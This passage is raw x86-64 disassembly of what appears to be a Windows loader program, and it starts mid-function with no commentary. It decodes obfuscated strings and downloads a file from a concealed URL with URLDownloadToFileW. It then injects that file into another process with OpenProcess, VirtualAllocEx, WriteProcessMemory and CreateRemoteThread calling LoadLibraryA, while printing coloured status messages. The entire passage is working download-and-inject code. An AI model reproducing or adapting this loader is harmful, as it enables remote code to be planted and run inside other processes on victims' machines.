mov qword [rbp + 0x220], rax
jmp 0x1400028e4
mov rcx, qword [rbp + 0x220]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400028fc
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x218], rax
jmp 0x140002916
mov rcx, qword [rbp + 0x218]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x14000292f
movups xmm0, xmmword [0x14005aab9]
movaps xmmword [rbp + 0x950], xmm0
movups xmm0, xmmword [0x14005aaa9]
movaps xmmword [rbp + 0x940], xmm0
movups xmm0, xmmword [0x14005aa99]
movaps xmmword [rbp + 0x930], xmm0
movups xmm0, xmmword [0x14005aa89]
movaps xmmword [rbp + 0x920], xmm0
movups xmm0, xmmword [0x14005aa79]
movaps xmmword [rbp + 0x910], xmm0
movabs rax, 0x4e6ed8a3e4bdcbbb
mov qword [rbp + 0x95f], rax
lea rcx, [rbp + 0x910]
mov edx, 0x57
call fcn.14000eb50
mov qword [rbp + 0x210], rax
jmp 0x1400029a3
mov rdx, qword [rbp + 0x210]
lea rcx, [0x140077710]
call fcn.140003c70
mov qword [rbp + 0x208], rax
jmp 0x1400029c2
mov rcx, qword [rbp + 0x208]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400029da
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x200], rax
jmp 0x1400029f4
mov rcx, qword [rbp + 0x200]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140002a0d
mov byte [rbp + 0x90a], 5
mov byte [rbp + 0x90b], 0xd
mov byte [rbp + 0x90c], 0x11
mov byte [rbp + 0x90d], 0
mov byte [rbp + 0x90e], 0xd
mov byte [rbp + 0x90f], 0x4f
lea rcx, [rbp + 0x90a]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x1f8], rax
jmp 0x140002a54
mov rcx, qword [rbp + 0x1f8]
call fcn.14003ffb8
jmp 0x140002a65
mov dword [rbp + 0x1344], 1
mov dword [rbp + 0xe24], 1
jmp 0x140003a6a
jmp 0x140002a83
movups xmm0, xmmword [0x14005aaea]
movups xmmword [rbp + 0x8ca], xmm0
movups xmm0, xmmword [str.80k]
movaps xmmword [rbp + 0x8c0], xmm0
movups xmm0, xmmword [str.6V8_]
movaps xmmword [rbp + 0x8b0], xmm0
lea rcx, [rbp + 0x8b0]
mov edx, 0x15
call fcn.14000ec40
mov qword [rbp + 0x1f0], rax
jmp 0x140002aca
mov rdx, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x8e8]
call fcn.1400040a0
jmp 0x140002ae2
mov rdx, qword [rbp + 0x1298]
lea rcx, [rbp + 0x8e8]
call fcn.140004120
jmp 0x140002afa
mov word [rbp + 0x8a6], 0x5b
mov word [rbp + 0x8a8], 8
mov word [rbp + 0x8aa], 8
mov word [rbp + 0x8ac], 0x1f
mov word [rbp + 0x8ae], 0x68
lea rcx, [rbp + 0x8a6]
mov edx, 5
call fcn.14000ec40
mov qword [rbp + 0x1e8], rax
jmp 0x140002b44
mov rdx, qword [rbp + 0x1e8]
lea rcx, [rbp + 0x8e8]
call fcn.140004120
jmp 0x140002b5c
lea rcx, [rbp + 0x8e8]
call fcn.140004890
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 0x1010]
call fcn.140004890
mov r8, qword [rbp + 0x1d8]
mov rdx, rax
mov rax, rsp
mov qword [rax + 0x20], 0
xor r9d, r9d
mov ecx, r9d
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rbp + 0x1e4], eax
jmp 0x140002ba6
mov eax, dword [rbp + 0x1e4]
mov dword [rbp + 0x8a0], eax
cmp dword [rbp + 0x8a0], 0
je 0x140002e25
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x1d0], rax
jmp 0x140002bd9
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140002bf2
movups xmm0, xmmword [0x14005ab16]
movups xmmword [rbp + 0x88c], xmm0
movups xmm0, xmmword [0x14005ab0a]
movaps xmmword [rbp + 0x880], xmm0
movups xmm0, xmmword [0x14005aafa]
movaps xmmword [rbp + 0x870], xmm0
lea rcx, [rbp + 0x870]
mov edx, 0x2c
call fcn.14000eb50
mov qword [rbp + 0x1c8], rax
jmp 0x140002c39
mov rdx, qword [rbp + 0x1c8]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x1c0], rax
jmp 0x140002c58
mov byte [rbp + 0x86e], 0x7f
mov byte [rbp + 0x86f], 0x6c
lea rcx, [rbp + 0x86e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x1b8], rax
jmp 0x140002c83
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1c0]
call fcn.140003c70
mov qword [rbp + 0x1b0], rax
jmp 0x140002ca2
mov rcx, qword [rbp + 0x1b0]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140002cba
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x1a8], rax
jmp 0x140002cd4
mov rcx, qword [rbp + 0x1a8]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140002ced
lea rdx, [0x14005ab26]
lea rcx, [rbp + 0x716]
mov qword [rbp + 0x190], rcx
mov r8d, 0x158
mov qword [rbp + 0x198], r8
call fcn.140056bd0
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
call fcn.14000eb50
mov qword [rbp + 0x1a0], rax
jmp 0x140002d33
mov rdx, qword [rbp + 0x1a0]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x188], rax
jmp 0x140002d52
mov byte [rbp + 0x714], 0x7f
mov byte [rbp + 0x715], 0x6c
lea rcx, [rbp + 0x714]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x180], rax
jmp 0x140002d7d
mov rdx, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x188]
call fcn.140003c70
mov qword [rbp + 0x178], rax
jmp 0x140002d9c
mov rcx, qword [rbp + 0x178]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140002db4
mov byte [rbp + 0x70e], 5
mov byte [rbp + 0x70f], 0xd
mov byte [rbp + 0x710], 0x11
mov byte [rbp + 0x711], 0
mov byte [rbp + 0x712], 0xd
mov byte [rbp + 0x713], 0x4f
lea rcx, [rbp + 0x70e]
mov edx, 6
call fcn.14000eb50
mov qword [rbp + 0x170], rax
jmp 0x140002dfb
mov rcx, qword [rbp + 0x170]
call fcn.14003ffb8
jmp 0x140002e0c
mov dword [rbp + 0x1344], 1
mov dword [rbp + 0xe24], 1
jmp 0x140003a59
lea rcx, [rbp + 0x6e8]
lea rdx, [rbp + 0x8e8]
xor r8d, r8d
call fcn.140004b80
jmp 0x140002e40
lea rcx, [rbp + 0x6e8]
call fcn.140004b10
mov byte [rbp + 0x16f], al
jmp 0x140002e57
mov al, byte [rbp + 0x16f]
xor al, 0xff
mov byte [rbp + 0x16e], al
lea rcx, [rbp + 0x6e8]
call fcn.140004aa0
mov al, byte [rbp + 0x16e]
test al, 1
jne 0x140002e84
jmp 0x140002fda
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x160], rax
jmp 0x140002e9e
mov rcx, qword [rbp + 0x160]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140002eb7
movups xmm0, xmmword [0x14005acb7]
movups xmmword [rbp + 0x6c9], xmm0
movups xmm0, xmmword [0x14005acae]
movaps xmmword [rbp + 0x6c0], xmm0
movups xmm0, xmmword [0x14005ac9e]
movaps xmmword [rbp + 0x6b0], xmm0
movups xmm0, xmmword [0x14005ac8e]
movaps xmmword [rbp + 0x6a0], xmm0
movups xmm0, xmmword [0x14005ac7e]
movaps xmmword [rbp + 0x690], xmm0
lea rcx, [rbp + 0x690]
mov edx, 0x49
call fcn.14000eb50
mov qword [rbp + 0x158], rax
jmp 0x140002f1a
mov rdx, qword [rbp + 0x158]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x150], rax
jmp 0x140002f39
mov byte [rbp + 0x68e], 0x7f
mov byte [rbp + 0x68f], 0x6c
lea rcx, [rbp + 0x68e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x148], rax
jmp 0x140002f64
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0x150]
call fcn.140003c70
mov qword [rbp + 0x140], rax
jmp 0x140002f83
mov rcx, qword [rbp + 0x140]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140002f9b
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x138], rax
jmp 0x140002fb5
mov rcx, qword [rbp + 0x138]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140002fce
mov byte [rbp + 0xf1f], 1
jmp 0x140002fda
lea rcx, [rbp + 0x8e8]
call fcn.140004890
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor edx, edx
mov r9d, edx
mov edx, 0x104
lea r8, [rbp + 0x1030]
call rax
mov dword [rbp + 0x134], eax
jmp 0x14000300e
mov eax, dword [rbp + 0x134]
cmp eax, 0
jne 0x140003177
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x128], rax
jmp 0x140003037
mov rcx, qword [rbp + 0x128]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140003050
movups xmm0, xmmword [0x14005ad07]
movaps xmmword [rbp + 0x670], xmm0
movups xmm0, xmmword [0x14005acf7]
movaps xmmword [rbp + 0x660], xmm0
movups xmm0, xmmword [0x14005ace7]
movaps xmmword [rbp + 0x650], xmm0
movups xmm0, xmmword [0x14005acd7]
movaps xmmword [rbp + 0x640], xmm0
movups xmm0, xmmword [0x14005acc7]
movaps xmmword [rbp + 0x630], xmm0
mov word [rbp + 0x680], 0x6cf6
lea rcx, [rbp + 0x630]
mov edx, 0x52
call fcn.14000eb50
mov qword [rbp + 0x120], rax
jmp 0x1400030bc
mov rdx, qword [rbp + 0x120]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x118], rax
jmp 0x1400030db
mov byte [rbp + 0x62e], 0x7f
mov byte [rbp + 0x62f], 0x6c
lea rcx, [rbp + 0x62e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x110], rax
jmp 0x140003106
mov rdx, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x118]
call fcn.140003c70
mov qword [rbp + 0x108], rax
jmp 0x140003125
mov rcx, qword [rbp + 0x108]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x14000313d
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x100], rax
jmp 0x140003157
mov rcx, qword [rbp + 0x100]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140003170
mov byte [rbp + 0xf1f], 1
mov r8d, dword [rbp + 0x123c]
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, 0x1fffff
xor edx, edx
call rax
mov qword [rbp + 0xf8], rax
jmp 0x14000319a
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x620], rax
cmp qword [rbp + 0x620], 0
jne 0x1400032fc
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0xf0], rax
jmp 0x1400031d0
mov rcx, qword [rbp + 0xf0]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x1400031e9
movups xmm0, xmmword [0x14005ad39]
movaps xmmword [rbp + 0x600], xmm0
movups xmm0, xmmword [0x14005ad29]
movaps xmmword [rbp + 0x5f0], xmm0
movups xmm0, xmmword [0x14005ad19]
movaps xmmword [rbp + 0x5e0], xmm0
movabs rax, 0x6fd29ac290fd89ca
mov qword [rbp + 0x60f], rax
lea rcx, [rbp + 0x5e0]
mov edx, 0x37
call fcn.14000eb50
mov qword [rbp + 0xe8], rax
jmp 0x140003241
mov rdx, qword [rbp + 0xe8]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0xe0], rax
jmp 0x140003260
mov byte [rbp + 0x5de], 0x7f
mov byte [rbp + 0x5df], 0x6c
lea rcx, [rbp + 0x5de]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0xd8], rax
jmp 0x14000328b
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xe0]
call fcn.140003c70
mov qword [rbp + 0xd0], rax
jmp 0x1400032aa
mov rcx, qword [rbp + 0xd0]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400032c2
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0xc8], rax
jmp 0x1400032dc
mov rcx, qword [rbp + 0xc8]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x1400032f5
mov byte [rbp + 0xf1f], 1
mov rcx, qword [rbp + 0x620]
mov rax, rsp
mov dword [rax + 0x20], 4
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edx, edx
mov r8d, 0x104
mov r9d, 0x3000
call rax
mov qword [rbp + 0xc0], rax
jmp 0x140003330
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x5d0], rax
cmp qword [rbp + 0x5d0], 0
jne 0x140003492
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0xb8], rax
jmp 0x140003366
mov rcx, qword [rbp + 0xb8]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x14000337f
movups xmm0, xmmword [0x14005ad70]
movaps xmmword [rbp + 0x5b0], xmm0
movups xmm0, xmmword [0x14005ad60]
movaps xmmword [rbp + 0x5a0], xmm0
movups xmm0, xmmword [0x14005ad50]
movaps xmmword [rbp + 0x590], xmm0
movabs rax, 0x6fdf9ac190c788f0
mov qword [rbp + 0x5bf], rax
lea rcx, [rbp + 0x590]
mov edx, 0x37
call fcn.14000eb50
mov qword [rbp + 0xb0], rax
jmp 0x1400033d7
mov rdx, qword [rbp + 0xb0]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0xa8], rax
jmp 0x1400033f6
mov byte [rbp + 0x58e], 0x7f
mov byte [rbp + 0x58f], 0x6c
lea rcx, [rbp + 0x58e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0xa0], rax
jmp 0x140003421
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xa8]
call fcn.140003c70
mov qword [rbp + 0x98], rax
jmp 0x140003440
mov rcx, qword [rbp + 0x98]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x140003458
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x90], rax
jmp 0x140003472
mov rcx, qword [rbp + 0x90]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x14000348b
mov byte [rbp + 0xf1f], 1
mov rdx, qword [rbp + 0x5d0]
mov rcx, qword [rbp + 0x620]
mov rax, rsp
mov qword [rax + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, [rbp + 0x1030]
mov r9d, 0x104
call rax
mov dword [rbp + 0x8c], eax
jmp 0x1400034cc
mov eax, dword [rbp + 0x8c]
cmp eax, 0
jne 0x140003600
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x80], rax
jmp 0x1400034f5
mov rcx, qword [rbp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x14000350e
movups xmm0, xmmword [0x14005adb5]
movups xmmword [rbp + 0x57e], xmm0
movups xmm0, xmmword [0x14005ada7]
movaps xmmword [rbp + 0x570], xmm0
movups xmm0, xmmword [0x14005ad97]
movaps xmmword [rbp + 0x560], xmm0
movups xmm0, xmmword [0x14005ad87]
movaps xmmword [rbp + 0x550], xmm0
lea rcx, [rbp + 0x550]
mov edx, 0x3e
call fcn.14000eb50
mov qword [rbp + 0x78], rax
jmp 0x140003560
mov rdx, qword [rbp + 0x78]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x70], rax
jmp 0x140003579
mov byte [rbp + 0x54e], 0x7f
mov byte [rbp + 0x54f], 0x6c
lea rcx, [rbp + 0x54e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x68], rax
jmp 0x1400035a1
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x70]
call fcn.140003c70
mov qword [rbp + 0x60], rax
jmp 0x1400035b7
mov rcx, qword [rbp + 0x60]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400035cc
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x58], rax
jmp 0x1400035e3
mov rcx, qword [rbp + 0x58]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x1400035f9
mov byte [rbp + 0xf1f], 1
mov rdx, qword [rbp + 0x5d0]
mov rcx, qword [rbp + 0x620]
mov rax, rsp
mov qword [rax + 0x20], rdx
mov qword [rax + 0x30], 0
mov dword [rax + 0x28], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor edx, edx
mov r8d, edx
mov rdx, r8
call rax
mov qword [rbp + 0x50], rax
jmp 0x140003645
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x540], rax
cmp qword [rbp + 0x540], 0
jne 0x14000378e
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x48], rax
jmp 0x140003675
mov rcx, qword [rbp + 0x48]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x14000368b
movups xmm0, xmmword [0x14005adf5]
movaps xmmword [rbp + 0x520], xmm0
movups xmm0, xmmword [0x14005ade5]
movaps xmmword [rbp + 0x510], xmm0
movups xmm0, xmmword [0x14005add5]
movaps xmmword [rbp + 0x500], xmm0
movups xmm0, xmmword [0x14005adc5]
movaps xmmword [rbp + 0x4f0], xmm0
movabs rax, 0x48e39cf09feaa2da
mov qword [rbp + 0x52e], rax
lea rcx, [rbp + 0x4f0]
mov edx, 0x46
call fcn.14000eb50
mov qword [rbp + 0x40], rax
jmp 0x1400036ee
mov rdx, qword [rbp + 0x40]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 0x38], rax
jmp 0x140003707
mov byte [rbp + 0x4ee], 0x7f
mov byte [rbp + 0x4ef], 0x6c
lea rcx, [rbp + 0x4ee]
mov edx, 2
call fcn.14000eb50
mov qword [rbp + 0x30], rax
jmp 0x14000372f
mov rdx, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
call fcn.140003c70
mov qword [rbp + 0x28], rax
jmp 0x140003745
mov rcx, qword [rbp + 0x28]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x14000375a
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x20], rax
jmp 0x140003771
mov rcx, qword [rbp + 0x20]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x140003787
mov byte [rbp + 0xf1f], 1
mov rcx, qword [rbp + 0x620]
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400037a3
mov rdx, qword [rbp + 0x5d0]
mov rcx, qword [rbp + 0x620]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor r8d, r8d
mov r9d, 0x8000
call rax
jmp 0x1400037c8
test byte [rbp + 0xf1f], 1
je 0x1400038e4
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp + 0x18], rax
jmp 0x1400037ec
mov rcx, qword [rbp + 0x18]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xc
call rax
jmp 0x140003802
movups xmm0, xmmword [0x14005ae29]
movups xmmword [rbp + 0x4de], xmm0
movups xmm0, xmmword [0x14005ae1b]
movaps xmmword [rbp + 0x4d0], xmm0
movups xmm0, xmmword [0x14005ae0b]
movaps xmmword [rbp + 0x4c0], xmm0
lea rcx, [rbp + 0x4c0]
mov edx, 0x2e
call fcn.14000eb50
mov qword [rbp + 0x10], rax
jmp 0x140003846
mov rdx, qword [rbp + 0x10]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp + 8], rax
jmp 0x14000385f
mov byte [rbp + 0x4be], 0x7f
mov byte [rbp + 0x4bf], 0x6c
lea rcx, [rbp + 0x4be]
mov edx, 2
call fcn.14000eb50
mov qword [rbp], rax
jmp 0x140003887
mov rdx, qword [rbp]
mov rcx, qword [rbp + 8]
call fcn.140003c70
mov qword [rbp - 8], rax
jmp 0x14000389d
mov rcx, qword [rbp - 8]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400038b2
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp - 0x10], rax
jmp 0x1400038c9
mov rcx, qword [rbp - 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x1400038df
jmp 0x1400039f3
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp - 0x18], rax
jmp 0x1400038fb
mov rcx, qword [rbp - 0x18]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xa
call rax
jmp 0x140003911
movups xmm0, xmmword [0x14005ae56]
movups xmmword [rbp + 0x4ad], xmm0
movups xmm0, xmmword [0x14005ae49]
movaps xmmword [rbp + 0x4a0], xmm0
movups xmm0, xmmword [0x14005ae39]
movaps xmmword [rbp + 0x490], xmm0
lea rcx, [rbp + 0x490]
mov edx, 0x2d
call fcn.14000eb50
mov qword [rbp - 0x20], rax
jmp 0x140003955
mov rdx, qword [rbp - 0x20]
lea rcx, [0x140077840]
call fcn.140003c70
mov qword [rbp - 0x28], rax
jmp 0x14000396e
mov byte [rbp + 0x48e], 0x7f
mov byte [rbp + 0x48f], 0x6c
lea rcx, [rbp + 0x48e]
mov edx, 2
call fcn.14000eb50
mov qword [rbp - 0x30], rax
jmp 0x140003996
mov rdx, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
call fcn.140003c70
mov qword [rbp - 0x38], rax
jmp 0x1400039ac
mov rcx, qword [rbp - 0x38]
lea rdx, [0x140003fc0]
call fcn.140003fa0
jmp 0x1400039c1
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov qword [rbp - 0x40], rax
jmp 0x1400039d8
mov rcx, qword [rbp - 0x40]
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov dx, 0xf
call rax
jmp 0x1400039ee
jmp 0x1400039f3
mov byte [rbp + 0x488], 5
mov byte [rbp + 0x489], 0xd
mov byte [rbp + 0x48a], 0x11
mov byte [rbp + 0x48b], 0
mov byte [rbp + 0x48c], 0xd
mov byte [rbp + 0x48d], 0x4f
lea rcx, [rbp + 0x488]
mov edx, 6
call fcn.14000eb50
mov qword [rbp - 0x48], rax
jmp 0x140003a37
mov rcx, qword [rbp - 0x48]
call fcn.14003ffb8
jmp 0x140003a45
mov dword [rbp + 0x1344], 0
mov dword [rbp + 0xe24], 1
lea rcx, [rbp + 0x8e8]
call fcn.140004bc0
jmp 0x140003a6a
lea rcx, [rbp + 0xd00]
call fcn.140004040
lea rcx, [rbp + 0xd68]
call fcn.140004bc0
jmp 0x140003a87
lea rcx, [rbp + 0xf80]
call fcn.140004bc0
lea rcx, [rbp + 0x1010]
call fcn.140004bc0
lea rcx, [rbp + 0x1240]
call fcn.140004040
mov eax, dword [rbp + 0x1344]
add rsp, 0x13d0
pop rbp
ret